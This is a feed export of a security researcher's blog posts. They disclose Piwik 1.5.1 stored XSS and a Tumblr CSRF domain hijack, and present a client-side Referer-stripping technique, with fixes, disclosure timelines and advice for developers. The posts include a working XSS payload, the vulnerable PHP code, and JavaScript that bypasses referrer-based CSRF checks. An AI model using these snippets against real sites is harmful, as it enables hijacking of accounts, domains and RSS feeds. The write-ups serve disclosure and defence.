&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-2LQ3op-QWvA/TpX-7SuqN4I/AAAAAAAAE4Y/HBTbDESemQk/s1600/piwik_log.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="88" src="http://1.bp.blogspot.com/-2LQ3op-QWvA/TpX-7SuqN4I/AAAAAAAAE4Y/HBTbDESemQk/s320/piwik_log.jpg" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Piwik 1.5.1 Log action with the payload&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;b&gt;Timeline:&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
05.08.2011 - Notified vendor&lt;br /&gt;
08.08.2011 -&amp;nbsp;Vendor confirmed the issue&lt;br /&gt;
29.09.2011 - Issue fixed in SVN&lt;br /&gt;
18.10.2011 - Piwik 1.6 with the fix released&lt;/div&gt;
&lt;h2&gt;











Stored XSS in layout parameter&lt;/h2&gt;
Piwik dashboard displays widgets with various site statistics. User can drag &amp;amp; drop the widgets into various places in interface to reorder them. The ordering and setup of the widgets is stored on server. For anonymous user the storage container is session data, for logged in users the settings are stored in database.&lt;br /&gt;
Saving the layout is done by issuing AJAX call with 'layout' parameter being the &lt;b&gt;serialized JSON&lt;/b&gt; with the settings.&lt;br /&gt;
Exemplary settings are displayed below:&lt;br /&gt;
&lt;code&gt;[[{"uniqueId":"widgetVisitsSummarygetEvolutionGraphcolumnsArray","parameters":{"module":"VisitsSummary","action":"getEvolutionGraph","columns":["nb_visits"]}},{"uniqueId":"widgetLivewidget","parameters":{"module":"Live","action":"widget"}},{"uniqueId":"widgetVisitorInterestgetNumberOfVisitsPerVisitDuration","parameters":{"module":"VisitorInterest","action":"getNumberOfVisitsPerVisitDuration"}},{"uniqueId":"widgetExampleFeedburnerfeedburner","parameters":{"module":"ExampleFeedburner","action":"feedburner"}}],[{"uniqueId":"widgetReferersgetWebsites","parameters":{"module":"Referers","action":"getWebsites"}}],[{"uniqueId":"widgetReferersgetKeywords","parameters":{"module":"Referers","action":"getKeywords"}},{"uniqueId":"widgetUserCountryMapworldMap","parameters":{"module":"UserCountryMap","action":"worldMap"}},{"uniqueId":"widgetUserSettingsgetBrowser","parameters":{"module":"UserSettings","action":"getBrowser"}},{"uniqueId":"widgetReferersgetSearchEngines","parameters":{"module":"Referers","action":"getSearchEngines"}},{"uniqueId":"widgetVisitTimegetVisitInformationPerServerTime","parameters":{"module":"VisitTime","action":"getVisitInformationPerServerTime"}},{"uniqueId":"widgetExampleRssWidgetrssPiwik","parameters":{"module":"ExampleRssWidget","action":"rssPiwik"}}]]&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
When displaying the dashboard, layout setting are retrieved and echoed back to user in a JS variable&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;:&lt;/span&gt;&lt;br /&gt;
&lt;pre class="javascript" name="code"&gt;piwik.dashboardLayout = [[{"uniqueId":"widgetVisitsSumma...&lt;/pre&gt;
Layout parameter is only minimally sanitized before storing it, there's a HTML escaping when storing, but that gets unescaped with&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt; html_entity_decode()&lt;/span&gt; on display:&lt;br /&gt;
&lt;pre class="php" name="code"&gt;// plugins/Dashboard/Controller.php

  // layout was JSON.stringified
  $layout = html_entity_decode($layout);
  $layout = str_replace("\\\"", "\"", $layout);

  // compatibility with the old layout format
  if(!empty($layout)
   &amp;amp;&amp;amp; strstr($layout, '[[') == false) {
   $layout = "'$layout'";
  }
&lt;/pre&gt;
Injecting a specially formatted layout parameter will cause XSS. Exemplary payload:&lt;br /&gt;
&lt;pre class="javascript" name="code"&gt;[[]];alert(12345)
&lt;/pre&gt;
resulting in attacker's code execution&lt;br /&gt;
&lt;pre class="javascript" name="code"&gt;piwik.dashboardLayout = [[]];alert(12345);
&lt;/pre&gt;
Saving layout requires access to the Dashboard, and, unless the user is anonymous, attacker needs to know the token_auth value of the victim user, so installations which allow anonymous access to dashboard for &lt;u&gt;any&lt;/u&gt; website statistics are affected most. Solution was to sanitize incoming 'layout' parameter e.g. with &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;json_encode() &lt;/span&gt;before storing it in database / session and skip support for the old 'string' format of the parameter. Related read:&amp;nbsp;&lt;a href="http://blog.kotowicz.net/2011/08/death-to-filters-how-to-validate-json.html"&gt;how to validate JSON properly&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Timeline:&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
17.08.2011 - Notified vendor&lt;br /&gt;
12.10.2011 - Issue fixed in SVN&lt;br /&gt;
18.10.2011 - Piwik 1.6 with the fix released&lt;br /&gt;
&lt;h2&gt;








Summary&lt;/h2&gt;
Developers - &lt;b&gt;XSS is really about context&lt;/b&gt;. Escaping &amp;lt; &amp;gt; and " is not enough! In all described cases attacker could execute Javascript code without using &lt;i&gt;any&lt;/i&gt; of those forbidden characters, because the context was different. In these cases XSS was triggered by:&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;meta refresh URI parameter (; was dangerous there because of IE bug)&lt;/li&gt;
&lt;li&gt;URI that didn't begin with &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;http://&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;JSON that was not validated correctly&lt;/li&gt;
&lt;/ul&gt;
You could &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;htmlspecialchars()&lt;/span&gt; all of these and it wouldn't help at all.&lt;br /&gt;
&lt;br /&gt;
I'd like to thank Piwik team for cooperation in fixing these bugs. Throughout the process we exchanged several emails and the communication was exemplary. They're great to work with - and the software is good too - apart from the issues found ;)&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-3158470236141724924?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/TheWorldAccordingToKoto/~4/sgrXLBsQ8UI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.kotowicz.net/feeds/3158470236141724924/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=3158470236141724924" title="4 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/3158470236141724924?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/3158470236141724924?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TheWorldAccordingToKoto/~3/sgrXLBsQ8UI/piwik-151-multiple-xss-vulnerabilities.html" title="Piwik ≤ 1.5.1 multiple XSS vulnerabilities" /><author><name>Krzysztof Kotowicz</name><uri>https://profiles.google.com/111743409761183951147</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-ADnDC5o75NA/AAAAAAAAAAI/AAAAAAAAE1w/rnOv95ckHn4/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-JONcNUmMvPI/TpX1hW0hE5I/AAAAAAAAE4I/N_VnBCmBaTc/s72-c/piwikxss3.jpg" height="72" width="72" /><thr:total>4</thr:total><feedburner:origLink>http://blog.kotowicz.net/2011/10/piwik-151-multiple-xss-vulnerabilities.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkUHRncyfCp7ImA9WhdaF0g.&quot;"><id>tag:blogger.com,1999:blog-3650259870998252242.post-2612898448878257155</id><published>2011-10-28T01:30:00.000+02:00</published><updated>2011-10-28T01:30:37.994+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-10-28T01:30:37.994+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="csrf" /><category scheme="http://www.blogger.com/atom/ns#" term="tumblr" /><category scheme="http://www.blogger.com/atom/ns#" term="html5" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>Poor Princess Leia! Tumblr.com CSRF domain hijack</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;br /&gt;
&lt;a href="http://tumblr.com/"&gt;Tumblr.com&lt;/a&gt; is a microblogging platform with over 32 millions of users, with Alexa global rank of 45. Tumblr.com had a &lt;a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)"&gt;CSRF&lt;/a&gt; vulnerability on blog settings page&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;http://tumblr.com/tumblelog/[blog-name]/settings&amp;nbsp;&lt;/span&gt;that allowed for launching targeted attacks against a specified blog to hijack its domain and perform other potentially severe actions on behalf of a victim user.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;The page allowed POST requests with new blog settings. It&amp;nbsp;did not have any CSRF tokens&amp;nbsp;(like other forms at Tumblr), but used &lt;b&gt;HTTP referrer checking&lt;/b&gt; instead. Requests with 3rd&amp;nbsp;party referrer value triggered &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;403 Forbidden&lt;/span&gt; error.&amp;nbsp;However, empty referrers went through. And that was&amp;nbsp;&lt;a href="http://blog.kotowicz.net/2011/10/stripping-referrer-for-fun-and-profit.html"&gt;bypassable by client side referrer strip&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Blog settings form allowed attacker to:&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;change blog &lt;b&gt;domain name&lt;/b&gt; (leaving the original free to hijack for the attacker)&lt;/li&gt;
&lt;li&gt;forward blog RSS requests to given FeedBurner URL (&lt;b&gt;hijacking RSS&lt;/b&gt; subscribers)&amp;nbsp;&lt;/li&gt;
&lt;li&gt;change user's avatar (defacement)&lt;/li&gt;
&lt;li&gt;mark / unmark the blog as NSFW&lt;/li&gt;
&lt;li&gt;and other similar things...&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
The whole technique required no user intervention and worked in &lt;b&gt;Chrome, Safari or Firefox&lt;/b&gt;.&amp;nbsp;To exploit this vulnerability attacker needed to:&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;know the blog domain name (e.g. http://victim.tumblr.com)&amp;nbsp;&lt;/li&gt;
&lt;li&gt;entice owner of target domain (being simultaneously logged in to Tumblr) to visit webpage with malicious code&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;pre class="javascript" name="code"&gt;// change the location to data URI meta refresh to lose referrer
// the final page loaded will include exploit script 
location = 'data:text/html,&amp;lt;html&amp;gt;&amp;lt;meta http-equiv="refresh" content="0; url=data:text/html,&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;Loading...&amp;lt;/h1&amp;gt;&amp;lt;script src='+location.href+ '/../../lib/common.js&amp;gt;&amp;lt;/scr'+'ipt&amp;gt;&amp;lt;script src=' + location.href + '/../exploit.js&amp;gt;&amp;lt;/scr'+'ipt&amp;gt;&amp;lt;/body&amp;gt;"&amp;gt;&amp;lt;/html&amp;gt;';
&lt;/pre&gt;
&lt;div&gt;
The actual exploit code stored in &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;exploit.js&lt;/span&gt; is nothing fancy, so it's left as an&amp;nbsp;exercise&amp;nbsp;to the reader. It's a Cross Origin Resource Sharing CSRF request with &lt;a href="http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html"&gt;silent file upload&lt;/a&gt;. So Tumblr joins the gallery of top sites with &lt;b&gt;CSRFable file upload forms&lt;/b&gt;, together with&amp;nbsp;&lt;a href="http://blog.kotowicz.net/2011/05/invisible-arbitrary-csrf-file-upload-in.html"&gt;Flickr&lt;/a&gt;, &lt;a href="http://blog.kotowicz.net/2011/07/imgurcom-session-hijacking.html"&gt;Imgur&lt;/a&gt;,&amp;nbsp;&lt;a href="http://www.sneaked.net/invisible-arbitrary-csrf-profile-picture-upload-in-facebook"&gt;Facebook&lt;/a&gt;&amp;nbsp;and&amp;nbsp;&lt;a href="http://blog.kotowicz.net/2011/09/minuscom-silent-arbitrary-file-upload.html"&gt;minus.com&lt;/a&gt;.&amp;nbsp;&lt;/div&gt;
&lt;h2&gt;







Demo&lt;/h2&gt;
&lt;div&gt;
This attack has limited applicability as attacker needs to POST to a URL containing blog domain name, so it's usable in targetted attack scenario. This is a demo of such an attack. Watch &lt;b&gt;the story of Darth Vader who is looking for Han Solo&lt;/b&gt;...&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;iframe allowfullscreen="" frameborder="0" height="315" src="http://www.youtube.com/embed/joX2QbLbQQg" width="560"&gt;&lt;/iframe&gt;
&lt;/div&gt;
&lt;h2&gt;






Timeline&lt;/h2&gt;
23.10 - discovered &amp;amp; confirmed vulnerability&lt;br /&gt;
24.10 - contacted security@tumblr.com, auto response from support@tumblr.com&lt;br /&gt;
25.10 - vendor response, full details sent&lt;br /&gt;
28.10 - vulnerability fixed (token added to form), public disclosure&lt;/div&gt;
&lt;h2&gt;






Final words&lt;/h2&gt;
&lt;b&gt;Tumblr:&lt;/b&gt; have a dedicated security contact listed somewhere on your website. Putting security vulnerabilities reporting to standard support queue is not a good idea!&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Developers:&amp;nbsp;&lt;/b&gt;use tokens, don't rely on referrer!&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-2612898448878257155?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/TheWorldAccordingToKoto/~4/NKIn7COZNSM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.kotowicz.net/feeds/2612898448878257155/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=2612898448878257155" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/2612898448878257155?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/2612898448878257155?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TheWorldAccordingToKoto/~3/NKIn7COZNSM/poor-princess-leia-tumblrcom-csrf.html" title="Poor Princess Leia! Tumblr.com CSRF domain hijack" /><author><name>Krzysztof Kotowicz</name><uri>https://profiles.google.com/111743409761183951147</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-ADnDC5o75NA/AAAAAAAAAAI/AAAAAAAAE1w/rnOv95ckHn4/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://img.youtube.com/vi/joX2QbLbQQg/default.jpg" height="72" width="72" /><thr:total>2</thr:total><feedburner:origLink>http://blog.kotowicz.net/2011/10/poor-princess-leia-tumblrcom-csrf.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkQMSHg7eSp7ImA9WhVSGEw.&quot;"><id>tag:blogger.com,1999:blog-3650259870998252242.post-4109316269506179042</id><published>2011-10-24T16:52:00.000+02:00</published><updated>2012-03-15T14:33:09.601+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-03-15T14:33:09.601+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="csrf" /><category scheme="http://www.blogger.com/atom/ns#" term="referrer" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>Stripping Referrer for fun and profit</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;&lt;b&gt;tldr: &lt;/b&gt;New methods for client side only (no server side script) referrer stripping in POST &amp;amp; GET requests. Code at the end.&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Referer&amp;nbsp;&lt;/span&gt;is that tiny bit of information that browser sends to servers while you click your way through interwebs, always carrying the URL of the webpage you've clicked the link at (more or less). It's useful for webdevelopers. For example, if they know you've reached their page from Google search results they can tailor the webpage especially for you. Of course, it's a privacy leak, so users can &lt;b&gt;turn off referrer sending&lt;/b&gt; in current browsers. All in all, Referer is usually spoken in &lt;a href="http://en.wikipedia.org/wiki/SEO"&gt;SEO&lt;/a&gt; circles, which is not my pair of shoes. However, at least one thing makes Referer very interesting from security point of view.&lt;/div&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;h2&gt;
















Are you me?&lt;/h2&gt;
&lt;div&gt;
Sometimes it's used as an &lt;b&gt;access control&lt;/b&gt; mechanism. It all began with &lt;a href="http://en.wikipedia.org/wiki/Inline_linking"&gt;hotliking&lt;/a&gt;. Spammy websites started republishing content (e.g. images) from other websites, simply using &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;lt;img src="http://original-website.example.com/image.jpg" /&amp;gt;&lt;/span&gt; . &amp;nbsp;While the spammy page looked ok for the viewers, it was stealing bandwidth (and content) from the original website. So to prevent this, websites started checking the &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Referer&lt;/span&gt; header that was added by the browser to image requests. If the referrer URL was from the original website, server would return the image. If it was from a 3rd party (&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;http://spammy-website.info&lt;/span&gt;), it would return 403 or &lt;a href="http://www.google.pl/search?q=hotlinking&amp;amp;tbm=isch"&gt;something else&lt;/a&gt;, so the spammy websites stopped looking good anymore.&lt;/div&gt;
&lt;h2&gt;














Do no evil!&lt;/h2&gt;
&lt;div&gt;
Then came &lt;a href="https://www.owasp.org/index.php/Top_10_2010-A5-Cross-Site_Request_Forgery_(CSRF)"&gt;Cross Site Resource Forgery&lt;/a&gt;. Visiting a malicious website when being simultaneously logged in to some vulnerable application caused havoc. This malicious website could send dangerous requests to the original vulnerable app and e.g. delete your account, change your e-mail address or set up a mail filter. &amp;nbsp;Some web developers started adding simple defense mechanism: &lt;b&gt;just check the referrer&lt;/b&gt;!&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;if it's our original application URL, process the request&lt;/li&gt;
&lt;li&gt;in other cases, deny&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
There - case solved. Only pages from legitimate location could make successful requests. But this quickly gave some problems - what about users that &lt;i&gt;disabled&lt;/i&gt; referrer sending? They wouldn't be able to use the application at all. For many websites, this was quickly corrected - for missing referrer, give the benefit of doubt and allow.&amp;nbsp;&lt;/div&gt;
&lt;h2&gt;












Stripping for the client!&lt;/h2&gt;
&lt;div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-IiJIpWAjZg0/TqV38yPES-I/AAAAAAAAE4k/JfJRYO_JQWY/s1600/5459038-beautiful-silhouette-of-young-women-dancing-a-striptease.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-IiJIpWAjZg0/TqV38yPES-I/AAAAAAAAE4k/JfJRYO_JQWY/s1600/5459038-beautiful-silhouette-of-young-women-dancing-a-striptease.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;
Of course, it's a very weak spot and attackers quickly tried to use it to their advantage. The goal was simple:&amp;nbsp;&lt;b&gt;Strip referrer, keep the cookies&lt;/b&gt;. There are many ways for attackers to lose referrer using some server side redirect etc. You can even fake that header. How? Just check how&amp;nbsp;&lt;a href="http://referer.us/Hide-HTTP-Referer.html"&gt;referer.us&lt;/a&gt;&amp;nbsp;does it. But I wanted something different. I wanted to be able to make arbitrary cross origin POST / GET requests with&amp;nbsp;&lt;b&gt;stripping referrer header using no server-side script &lt;/b&gt;whatsoever&lt;b&gt;.&lt;/b&gt;&amp;nbsp;Only client-side techniques. I couldn't find any previous tries for this and only found old mentions about meta redirects. There of course are several known attempts of server-side techniques e.g.&amp;nbsp;&lt;a href="http://jeremiahgrossman.blogspot.com/"&gt;Jeremiah Grossman&lt;/a&gt;&amp;nbsp;directed me to an example from 2006 of&amp;nbsp;&lt;a href="http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2006-July/001433.html"&gt;doing this with Flash&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Why client side only&lt;/b&gt;? Sometimes, as an attacker, you don't have control over the server at all, you can only inject some HTML (e.g. XSS) in a secondary host the victim user will be directed to. Client side only has fewer requirements to plant an attack.&lt;/div&gt;
&lt;h2&gt;













Was it good?&lt;/h2&gt;
&lt;div&gt;
Pretty good actually. Dealing with multiple browser quirks I was able to strip the referrer in&amp;nbsp;&lt;b&gt;every major browser&lt;/b&gt;&amp;nbsp;for &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;GET&lt;/span&gt; requests and in Firefox / WebKit for &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;POST&lt;/span&gt; requests. Here's how:&lt;/div&gt;
&lt;pre class="javascript" name="code"&gt;function lose_in_webkit(url) {
 // chrome loses it in data uris
 location = "data:text/html,&amp;lt;script&amp;gt;location='" + url + '&amp;amp;_=' + Math.random() + "'&amp;lt;/scr"+"ipt&amp;gt;";
 return false;
}

function lose_in_ie(url) {
 // ie loses referer in window.open()
 window.open(url + '&amp;amp;_='+Math.random());
}

function lose_in_ff(url) {
        // ff needs data:uri  AND meta refresh. Firefox, WebKit and Opera
 location = 'data:text/html,&amp;lt;html&amp;gt;&amp;lt;meta http-equiv="refresh" content="0; url='+ url + '"&amp;gt;&amp;lt;/html&amp;gt;';
}

function post_and_lose(url) {
        // POST request, WebKit &amp;amp; Firefox. Data, meta &amp;amp; form submit trinity
 location = 'data:text/html,&amp;lt;html&amp;gt;&amp;lt;meta http-equiv="refresh" content="0; url=data:text/html,&amp;lt;form id=f method=post action=\''+url+'\'&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;script&amp;gt;document.getElementById(\'f\').submit()&amp;lt;/scri'+'pt&amp;gt;"&amp;gt;&amp;lt;/html&amp;gt;';
}
&lt;/pre&gt;
&lt;div&gt;
&lt;a href="http://attacker.kotowicz.net/lose-referer/test.php"&gt;Demo&lt;/a&gt; and &lt;a href="https://github.com/koto/blog-kotowicz-net-examples/tree/master/lose-referer"&gt;source&lt;/a&gt;.
&lt;/div&gt;
&lt;h2&gt;









Why do I care?&lt;/h2&gt;
&lt;b&gt;Pentester: &lt;/b&gt;Let's imagine you encounter a CSRF flaw on a website, but this website does referrer checking. Now, without relying on server side techniques you can use these snippets to quickly prepare a CSRF proof of concept for your client. How often do websites rely on referrer? Pretty often, just wait for the next post (&lt;a href="http://blog.kotowicz.net/2011/10/poor-princess-leia-tumblrcom-csrf.html"&gt;here it is&lt;/a&gt;) on a neat &lt;a href="http://www.alexa.com/"&gt;Alexa&lt;/a&gt; Top 50 example.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Developer: &lt;/b&gt;Now you know not to rely on referrer checking as CSRF protection. The only way is to &lt;a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet"&gt;use tokens&lt;/a&gt;!&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-4109316269506179042?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/TheWorldAccordingToKoto/~4/wjCySJ5et7E" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.kotowicz.net/feeds/4109316269506179042/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=4109316269506179042" title="8 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/4109316269506179042?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/4109316269506179042?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TheWorldAccordingToKoto/~3/wjCySJ5et7E/stripping-referrer-for-fun-and-profit.html" title="Stripping Referrer for fun and profit" /><author><name>Krzysztof Kotowicz</name><uri>https://profiles.google.com/111743409761183951147</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-ADnDC5o75NA/AAAAAAAAAAI/AAAAAAAAE1w/rnOv95ckHn4/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-IiJIpWAjZg0/TqV38yPES-I/AAAAAAAAE4k/JfJRYO_JQWY/s72-c/5459038-beautiful-silhouette-of-young-women-dancing-a-striptease.jpg" height="72" width="72" /><thr:total>8</thr:total><feedburner:origLink>http://blog.kotowicz.net/2011/10/stripping-referrer-for-fun-and-profit.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A04CRXc_eSp7ImA9WhRSFU4.&quot;"><id>tag:blogger.com,1999:blog-3650259870998252242.post-4969168541335847632</id><published>2011-10-11T18:16:00.000+02:00</published><updated>2011-11-17T15:26:04.941+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-17T15:26:04.941+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="window" /><title>The sad state of DOM security (or how we all ruled Mario's challenge)</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
A few days ago &lt;a href="http://heideri.ch/"&gt;Mario Heiderich&lt;/a&gt;&amp;nbsp;posted &lt;a href="http://xssme.html5sec.org/"&gt;second installment&lt;/a&gt; of his xssme challenges (viewable in Firefox only for now). But it wasn't a usual challenge. The goal was not to execute your Javascript - it was &lt;b&gt;to get access to the DOM object property (document.cookie) without user interaction&lt;/b&gt;. In fact, the payload wasn't filtered at all.&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-DPTlezIJCyc/TpQIW7AEiYI/AAAAAAAAE34/MabwX8A7S3g/s1600/my-precious.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="200" src="http://3.bp.blogspot.com/-DPTlezIJCyc/TpQIW7AEiYI/AAAAAAAAE34/MabwX8A7S3g/s200/my-precious.jpg" width="180" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;h2&gt;










My precious!&lt;/h2&gt;
This goes along Mario's work on &lt;a href="http://www.slideshare.net/x00mario/locking-the-throneroom"&gt;locking DOM&lt;/a&gt;&amp;nbsp;and XSS eradication attempt. The concept is that server side filtering for XSS will eventually fail if you need to accept HTML. Further on - sometimes Javascript code should be accepted from the client (&lt;a href="http://securitybyte.org/resources/2011/presentations/enabling-un-trusted-mashups.pdf"&gt;mashups are everywhere!&lt;/a&gt;), instead we want it to run inside a sandbox, limiting access to some crucial properties (location, cookie, 
window, some tokens, our internal application object etc.). That's basically what &lt;a href="http://code.google.com/p/google-caja/"&gt;Google Caja&lt;/a&gt; tries to achieve server-side. But server does not know about all those browser quirks, parsing issues - it's a different environment after all.&lt;br /&gt;
&lt;br /&gt;
So if a total XSS eradication is possible - it has to be client-side, in the browser. &lt;br /&gt;
Of course, this requires some support from the browser and the most common weapon is &lt;a href="http://ejohn.org/blog/ecmascript-5-objects-and-properties/"&gt;ECMAScript 5 Object.defineProperty()&lt;/a&gt; and friends. Basically, it allows you to redefine a property of an object (say, &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;document.cookie&lt;/span&gt;) with your own implementation and &lt;b&gt;lock it down&lt;/b&gt; so further redefines are not possible.&lt;br /&gt;
&lt;br /&gt;
In theory, it's great. You insert some Javascript code, locking down your precious DOM assets, then you can output unmodified client's code which is already operating in a controlled, sandboxed environment - and you're done. In theory. Read on!&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;h2&gt;


What an event that was!&lt;/h2&gt;
